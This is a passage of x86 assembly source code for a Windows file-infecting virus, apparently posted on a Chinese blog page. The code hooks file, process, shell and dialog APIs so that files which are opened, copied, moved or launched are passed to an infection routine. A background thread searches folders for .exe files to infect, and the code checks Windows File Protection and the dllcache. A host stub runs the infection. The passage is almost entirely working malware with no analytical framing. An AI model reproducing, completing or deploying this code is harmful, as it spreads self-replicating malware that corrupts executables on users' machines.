    mov edx,edi
 
    call VirExtractPath
    mov edi,ecx
    mov esi,ebx
HookFindHelpLoop2:
    lodsb
    stosb
    or al,al
    jnz short HookFindHelpLoop2
 
    mov edi,edx
    call InfectFile
 
HookFindHelpRet:
    add esp,2000
    retn
HookFindHelp_end:
 
 
HookFindFirstFileW:
    pushad
    pushfd
 
    call HookFindFirstFileWIP
HookFindFirstFileWIP:
    pop ebp
 
    mov esi,[esp+9*4+4]
    mov edi,[esp+9*4+4+4]
    push edi
    push esi
    call [ebp+addrFindFirstFileW-HookFindFirstFileWIP]
    mov [esp+4+7*4],eax
    inc eax
    jz short HookFindFirstFileWRet
 
    add edi,4*11 ;edi->cFileName
    call HookFindHelpWide
 
HookFindFirstFileWRet:
    popfd
    popad
 
    retn 8
HookFindFirstFileW_end:
 
 
;Param:    esi->lpFileName,edi->cFileName of  WIN32_FIND_DATA
HookFindHelpWide:
    sub esp,2000
    mov edx,esi
    xchg ecx,edi
    mov edi,esp
    call UnicodeToAnsi
 
    mov esi,edi
 
    mov edx,ecx
    add edi,1000
    call UnicodeToAnsi
 
    push esi
    call HookFindHelp
    pop edi
 
    call TrySearchFile
 
    add esp,2000
    retn
HookFindHelpWide_end:
 
 
HookMoveFileExA:
    push eax
    pushad
    pushfd
 
    mov edx,addrMoveFileExA-HookBaseIP
 
    jmp short HookMoveFileA_1
HookMoveFileExA_end:
 
 
HookMoveFileExW:
    push eax
    pushad
    pushfd
 
    mov edx,addrMoveFileExW-HookBaseIP
 
    jmp short HookMoveFileW_1
HookMoveFileExW_end:
 
 
HookCopyFileExA:
    push eax
    pushad
    pushfd
 
    mov edx,addrCopyFileExA-HookBaseIP
    jmp short HookMoveFileA_1
HookCopyFileExA_end:
 
 
HookCopyFileExW:
    push eax
    pushad
    pushfd
 
    mov edx,addrCopyFileExW-HookBaseIP
    jmp short HookMoveFileW_1
HookCopyFileExW_end:
 
 
HookCopyFileA:
    push eax
    pushad
    pushfd
 
    mov edx,addrCopyFileA-HookBaseIP
    jmp short HookMoveFileA_1
HookCopyFileA_end:
 
 
HookCopyFileW:
    push eax
    pushad
    pushfd
 
    mov edx,addrCopyFileW-HookBaseIP
    jmp short HookMoveFileW_1
HookCopyFileW_end:
 
 
HookMoveFileA:
    push eax
    pushad
    pushfd
 
    mov edx,addrMoveFileA-HookBaseIP
 
HookMoveFileA_1:
    mov edi,[esp+10*4+4]
    call InfectFileAnsi
 
    jmp short HookReturn
HookMoveFileA_end:
 
 
HookMoveFileW:
    push eax
    pushad
    pushfd
 
    mov edx,addrMoveFileW-HookBaseIP
 
HookMoveFileW_1:
    push edx
    mov edx,[esp+10*4+4+4]
    call InfectFileWide
    pop edx
 
    jmp short HookReturn
HookMoveFileW_end:
 
 
HookShellExecuteExA:
    push eax
    pushad
    pushfd
 
    mov edi,[esp+10*4+4]
    or edi,edi
    jz short HookShellExecuteExARet
    mov edi,[edi+4*4]
    call InfectFileAnsi
 
HookShellExecuteExARet:
    mov edx,addrShellExecuteExA-HookBaseIP
    jmp short HookReturn
HookShellExecuteExA_end:
 
 
HookShellExecuteExW:
    push eax
    pushad
    pushfd
 
    mov edx,[esp+10*4+4]
    or edx,edx
    jz short HookShellExecuteExWRet
    mov edx,[edx+4*4]
    call InfectFileWide
 
HookShellExecuteExWRet:
    mov edx,addrShellExecuteExA-HookBaseIP
    jmp short HookReturn
HookShellExecuteExW_end:
 
 
HookCreateFileA:
    push eax
    pushad
    pushfd
 
    mov edi,[esp+10*4+4]
    call InfectFileAnsi
 
    mov edx,addrCreateFileA-HookBaseIP
 
HookReturn:
    call HookCreateFileAIP
HookCreateFileAIP:
HookBaseIP equ HookCreateFileAIP
    pop edi
 
    mov eax,[edi+edx]
    mov [esp+4*9],eax
 
    popfd
    popad
    retn
HookCreateFileA_end:
 
 
HookCreateFileW:
    push eax
    pushad
    pushfd
 
    mov edx,addrCreateFileW-HookBaseIP
    jmp short HookMoveFileW_1
HookCreateFileW_end:
 
 
HookCreateProcessA:
    push eax
    pushad
    pushfd
 
    mov edx,addrCreateProcessA-HookBaseIP
    jmp HookMoveFileA_1
HookCreateProcessA_end:
 
 
HookCreateProcessW:
    push eax
    pushad
    pushfd
 
    mov edx,addrCreateProcessW-HookBaseIP
    jmp HookMoveFileW_1
HookCreateProcessW_end:
 
 
HookShellExecuteA:
    push eax
    pushad
    pushfd
 
    mov edi,[esp+10*4+4+2*4]
    call InfectFileAnsi
 
    mov edx,addrShellExecuteA-HookBaseIP
    jmp short HookReturn
HookShellExecuteA_end:
 
 
HookShellExecuteW:
    push eax
    pushad
    pushfd
 
    mov edx,[esp+10*4+4+2*4]
    call InfectFileWide
 
    mov edx,addrShellExecuteW-HookBaseIP
    jmp short HookReturn
HookShellExecuteW_end:
 
 
;Infect file with ansi file name,only a wrapper of InfectFile
;Param: edi->ansi file name
InfectFileAnsi:
    pushad
    call InfectFile
    call TrySearchFile
    popad
    retn
InfectFileAnsi_end:
 
 
;Infect file with unicode file name
;Param: edx->unicode file name
InfectFileWide:
    mov esi,512
    sub esp,esi
    mov edi,esp
 
    call UnicodeToAnsi
    call InfectFile
 
    call TrySearchFile
 
    add esp,esi
    retn
InfectFileWide_end:
 
 
;Param: edx->unicode string,edi->dest ansi buffer(at leaset 512 bytes)
UnicodeToAnsi:
    push ecx
 
    push large 0
    push large 0
    push large 512
    push edi ;lpMultiByteStr
    push -1
    push edx
    push large 200h ;WC_COMPOSITECHECK
    push large 0 ;CP_ACP
    call UnicodeToAnsiIP
UnicodeToAnsiIP:
    pop eax
    call [eax+addrWideCharToMultiByte-UnicodeToAnsiIP]
 
    pop ecx
    retn
UnicodeToAnsi_end:
 
 
;Search path
;Param: edi->Path
TrySearchPath:
    sub esp,1000
 
    cld
    mov esi,edi
    mov edi,esp
TrySearchPathLoop:
    lodsb
    stosb
    or al,al
    jnz short TrySearchPathLoop
 
TrySearchPath_Help:
    dec edi
    cmp byte ptr [edi-1],'/'
    jz short TrySearchPath_1
    mov al,'/'
    stosb
TrySearchPath_1:
    mov eax,'0fck' and 0ffffffh
    stosd
    mov edi,esp
    call TrySearchFile
 
    add esp,1000
    retn
TrySearchPath_end:
 
 
;Param: edi->unicode path
TrySearchPathWide:
    sub esp,1000
 
    mov edx,edi
    mov edi,esp
    call UnicodeToAnsi
    add edi,eax
 
    jmp short TrySearchPath_Help
TrySearchPathWide_end:
 
 
;Extract the file path,then search it
;Param: edi->file name
TrySearchFile:
    call CanSearch
    jnz short TrySearchFileRet
 
    pushad
    call TrySearchFileIP
TrySearchFileIP:
    pop ebx
    lea esi,[ebx+PathBuf-TrySearchFileIP]
    xchg esi,edi
 
    call VirExtractPath
 
    mov edi,ecx
    mov eax,'xe.*'
    stosd
    mov eax,'000e' and 0ffh
    stosd
    
    push dword ptr [ebx+VirEventHandle-TrySearchFileIP]
    call [ebx+addrSetEvent-TrySearchFileIP]
 
    popad
TrySearchFileRet:
    retn
TrySearchFile_end:
 
 
;Param: esi->source buffer,edi->dest buffer
;Return: esi,edi->buffer end,ecx->afte the last '/' or the buffer head
VirExtractPath:
    cld
    mov ecx,edi
VirExtractPathLoop:
    lodsb
    stosb
    cmp al,'/'
    jnz short VirExtractPathNotBackSlash
    mov ecx,edi
VirExtractPathNotBackSlash:
    or al,al
    jnz short VirExtractPathLoop
 
    retn
VirExtractPath_end:
 
 
;Return: ZF=0,can't begin search,ZF=1,can begin search
CanSearch:
    pushad
    call CanSearchIP
CanSearchIP:
    pop esi
 
    xor edx,edx
    mov dl,0
SearchSign equ $-1
    or dl,dl
    jnz short CanSearchRet
 
    call [esi+addrGetTickCount-CanSearchIP]
    xor edx,edx
 
    sub eax,12345678h
CanSearchTick equ $-4
    cmp eax,3*1000 ;3 sec
    ja short CanSearchRet
    inc edx
CanSearchRet:
    or edx,edx
    popad
    retn
CanSearch_end:
 
 
;Thread to search a specified path
SearchThread:
    call SearchThreadIP
SearchThreadIP:
    pop ebp
 
    sub esp,1000
 
SearchThreadDeadLoop:
    mov byte ptr [ebp+SearchSign-SearchThreadIP],0
 
    push large -1
    push large 12345678h
VirEventHandle equ $-4
    call [ebp+addrWaitForSingleObject-SearchThreadIP]
 
    mov byte ptr [ebp+SearchSign-SearchThreadIP],1
 
    call [ebp+addrGetTickCount-SearchThreadIP]
    mov [ebp+SearchThreadTick-SearchThreadIP],eax
 
    lea esi,[ebp+PathBuf-SearchThreadIP]
    mov edi,esp
    push edi
    push esi
    call [ebp+addrFindFirstFileA-SearchThreadIP]
    inc eax
    jz short SearchThreadDeadLoop
    dec eax
 
    push eax ;Handle
 
SearchThreadFindLoop:
    pushad
    add edi,4*11 ;edi->cFileName
 
    call HookFindHelp
    popad
 
    call [ebp+addrGetTickCount-SearchThreadIP]
    sub eax,12345678h
SearchThreadTick equ $-4
    cmp eax,1500 ;continue run for 1500 millionsecond
    ja short SearchThreadClose
 
    pop eax
    push eax
 
    push edi
    push eax
    call [ebp+addrFindNextFileA-SearchThreadIP]
    or eax,eax
    jnz short SearchThreadFindLoop
 
SearchThreadClose:
    call [ebp+addrFindClose-SearchThreadIP]
 
    call [ebp+addrGetTickCount-SearchThreadIP]
    mov [ebp+CanSearchTick-SearchThreadIP],eax
 
    jmp short SearchThreadDeadLoop
SearchThread_end:
 
VirImportTable:
    db 'KERNEL32.dll'
    db 0,0,'LoadLibraryA'
    db 0,0,'GetProcAddress',0
VirImportTableStringSize equ $-VirImportTable
 
 
VIRAPIDEF macro apiname
    db IMPORT_IS_NAME
    db apiname
endm
 
Kernel32APIName:
    db 'kernel32'
    VIRAPIDEF 'CreateFileA'
    VIRAPIDEF 'CreateFileW'
    VIRAPIDEF 'CreateProcessA'
    VIRAPIDEF 'CreateProcessW'
    VIRAPIDEF 'FindFirstFileA'
    VIRAPIDEF 'FindFirstFileW'
    VIRAPIDEF 'CopyFileA'
    VIRAPIDEF 'CopyFileW'
    VIRAPIDEF 'CopyFileExA'
    VIRAPIDEF 'CopyFileExW'
    VIRAPIDEF 'MoveFileA'
    VIRAPIDEF 'MoveFileW'
    VIRAPIDEF 'MoveFileExA'
    VIRAPIDEF 'MoveFileExW'
    VIRAPIDEF 'GetCurrentDirectoryA'
    VIRAPIDEF 'GetCurrentDirectoryW'
    VIRAPIDEF 'SetCurrentDirectoryA'
    VIRAPIDEF 'SetCurrentDirectoryW'
    VIRAPIDEF 'GetModuleFileNameA'
    VIRAPIDEF 'GetModuleFileNameW'
    VIRAPIDEF 'LoadLibraryA'
    VIRAPIDEF 'LoadLibraryW'
 
 
    VIRAPIDEF 'SetEndOfFile'
    VIRAPIDEF 'SetFilePointer'
    VIRAPIDEF 'GetFileAttributesA'
    VIRAPIDEF 'SetFileAttributesA'
    VIRAPIDEF 'CloseHandle'
    VIRAPIDEF 'GetFileTime'
    VIRAPIDEF 'SetFileTime'
    VIRAPIDEF 'GetFileSize'
 
    VIRAPIDEF 'CreateFileMappingA'
    VIRAPIDEF 'MapViewOfFile'
    VIRAPIDEF 'UnmapViewOfFile'
    VIRAPIDEF 'OpenFileMappingA'
 
    VIRAPIDEF 'VirtualAlloc'
    VIRAPIDEF 'GetTickCount'
 
    VIRAPIDEF 'WideCharToMultiByte'
    VIRAPIDEF 'WaitForSingleObject'
    VIRAPIDEF 'FindClose'
    VIRAPIDEF 'CreateEventA'
    VIRAPIDEF 'SetEvent'
 
    VIRAPIDEF 'CreateThread'
    VIRAPIDEF 'FindNextFileA'
    VIRAPIDEF 'MultiByteToWideChar'
 
    db 0
 
SfcAPIName:
    db 'sfc'
    VIRAPIDEF 'SfcIsFileProtected'
    db 0
 
User32APIName:
    db 'user32'
    VIRAPIDEF 'SendMessageA'
    VIRAPIDEF 'GetParent'
    db 0
 
ComDlg32APIName:
    db 'comdlg32'
    VIRAPIDEF 'GetOpenFileNameA'
    VIRAPIDEF 'GetOpenFileNameW'
    VIRAPIDEF 'GetSaveFileNameA'
    VIRAPIDEF 'GetSaveFileNameW'
    db 0
 
Shell32APIName:
    db 'shell32'
    VIRAPIDEF 'ShellExecuteA'
    VIRAPIDEF 'ShellExecuteW'
    VIRAPIDEF 'ShellExecuteExA'
    VIRAPIDEF 'ShellExecuteExW'
    db 0
 
HookProcTable:
    dw HookGetOpenFileNameA-VirStart
    dw HookGetOpenFileNameW-VirStart
    dw HookGetSaveFileNameA-VirStart
    dw HookGetSaveFileNameW-VirStart
 
    dw HookShellExecuteA-VirStart
    dw HookShellExecuteW-VirStart
    dw HookShellExecuteExA-VirStart
    dw HookShellExecuteExW-VirStart
 
    dw HookCreateFileA-VirStart
    dw HookCreateFileW-VirStart
    dw HookCreateProcessA-VirStart
    dw HookCreateProcessW-VirStart
    dw HookFindFirstFileA-VirStart
    dw HookFindFirstFileW-VirStart
    dw HookCopyFileA-VirStart
    dw HookCopyFileW-VirStart
    dw HookCopyFileExA-VirStart
    dw HookCopyFileExW-VirStart
    dw HookMoveFileA-VirStart
    dw HookMoveFileW-VirStart
    dw HookMoveFileExA-VirStart
    dw HookMoveFileExW-VirStart
    dw HookGetCurrentDirectoryA-VirStart
    dw HookGetCurrentDirectoryW-VirStart
    dw HookSetCurrentDirectoryA-VirStart
    dw HookSetCurrentDirectoryW-VirStart
    dw HookGetModuleFileNameA-VirStart
    dw HookGetModuleFileNameW-VirStart
    dw HookLoadLibraryA-VirStart
    dw HookLoadLibraryW-VirStart
 
HookAPITable:
ComDlg32APIAddr:
    addrGetOpenFileNameA dd 0
    addrGetOpenFileNameW dd 0
    addrGetSaveFileNameA dd 0
    addrGetSaveFileNameW dd 0
 
Shell32APIAddr:
    addrShellExecuteA dd 0
    addrShellExecuteW dd 0
    addrShellExecuteExA dd 0
    addrShellExecuteExW dd 0
 
Kernel32APIAddr equ this dword
    addrCreateFileA dd 0 ;77e92b8dh
    addrCreateFileW dd 0
    addrCreateProcessA dd 0
    addrCreateProcessW dd 0
    addrFindFirstFileA dd 0
    addrFindFirstFileW dd 0
    addrCopyFileA dd 0
    addrCopyFileW dd 0
    addrCopyFileExA dd 0
    addrCopyFileExW dd 0
    addrMoveFileA dd 0
    addrMoveFileW dd 0
    addrMoveFileExA dd 0
    addrMoveFileExW dd 0
    addrGetCurrentDirectoryA dd 0
    addrGetCurrentDirectoryW dd 0
    addrSetCurrentDirectoryA dd 0
    addrSetCurrentDirectoryW dd 0
    addrGetModuleFileNameA dd 0
    addrGetModuleFileNameW dd 0
    addrLoadLibraryA dd 0
    addrLoadLibraryW dd 0
 
HookNum equ ($-HookAPITable)/4
 
    addrSetEndOfFile dd 0 ;77e9f044h
    addrSetFilePointer dd 0 ;77e9ed4ch
    addrGetFileAttributesA dd 0 ;77e8657ah
    addrSetFileAttributesA dd 0 ;77e87b77h
    addrCloseHandle dd 0 ;77e8a6c8h
    addrGetFileTime dd 0 ;77e8b19ah
    addrSetFileTime dd 0 ;77e8a372h
    addrGetFileSize dd 0 ;77e88854h
 
    addrCreateFileMappingA dd 0 ;77e8d21ah
    addrMapViewOfFile dd 0 ;77e8d019h
    addrUnmapViewOfFile dd 0 ;77e95efch
    addrOpenFileMappingA dd 0 ;77e90ab4h
 
    addrVirtualAlloc dd 0 ;77e90ee2h
    addrGetTickCount dd 0 ;77e8c0a6h
 
    addrWideCharToMultiByte dd 0
    addrWaitForSingleObject dd 0
    addrFindClose dd 0
    addrCreateEventA dd 0
    addrSetEvent dd 0
 
    addrCreateThread dd 0
    addrFindNextFileA dd 0
    addrMultiByteToWideChar dd 0
 
SfcAPIAddr:
    addrSfcIsFileProtected dd 12345678h
 
User32APIAddr:
    addrSendMessageA dd 0
    addrGetParent dd 0
 
VirEnd:
 
VirSize equ $-VirStart
 
;Uninitialized data
    PathBuf db 1000 dup(?)
 
VirVirtualSize equ $-VirStart
 
 
fakeLoadLibraryA dd 77e98023h
fakeGetProcAddress dd 77e9564bh
 
dllcache db 'D:/WINNT/systeM32/dLLCache/f',0
 
host:
    mov eax,VirSize
    mov eax,HookNum
    mov edi,offset dllcache
    mov esi,edi
    call VirGetStrTail
    xor eax,eax
    call IsInDllCache
    mov eax,HookNum
    mov eax,VirSize
    push offset strKernel32
    call LoadLibraryA
    mov esi,eax
    
    push offset strLoadLibraryA
    push esi
    call GetProcAddress
    mov [fakeLoadLibraryA],eax
 
    push offset strGetProcAddress
    push esi
    call GetProcAddress
    mov [fakeGetProcAddress],eax
 
    mov dword ptr [RVALoadLibraryA],offset fakeLoadLibraryA
    mov dword ptr [RVAGetProcAddress],offset fakeGetProcAddress
    mov edx,offset ImportBuildIP
 
    call GetVirAPIAddress
    mov dword ptr [RVALoadLibraryA],0
    mov dword ptr [RVAGetProcAddress],0
 
 
    call [addrGetTickCount]
    mov dword ptr [RandSeed],eax
 
    mov edi,offset fn
    call InfectFile
 
hostreturn:
    push 0
    push offset cap
    push offset msg
 
    push 0
    call MessageBox
    push 0
    call ExitProcess
 
end host
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值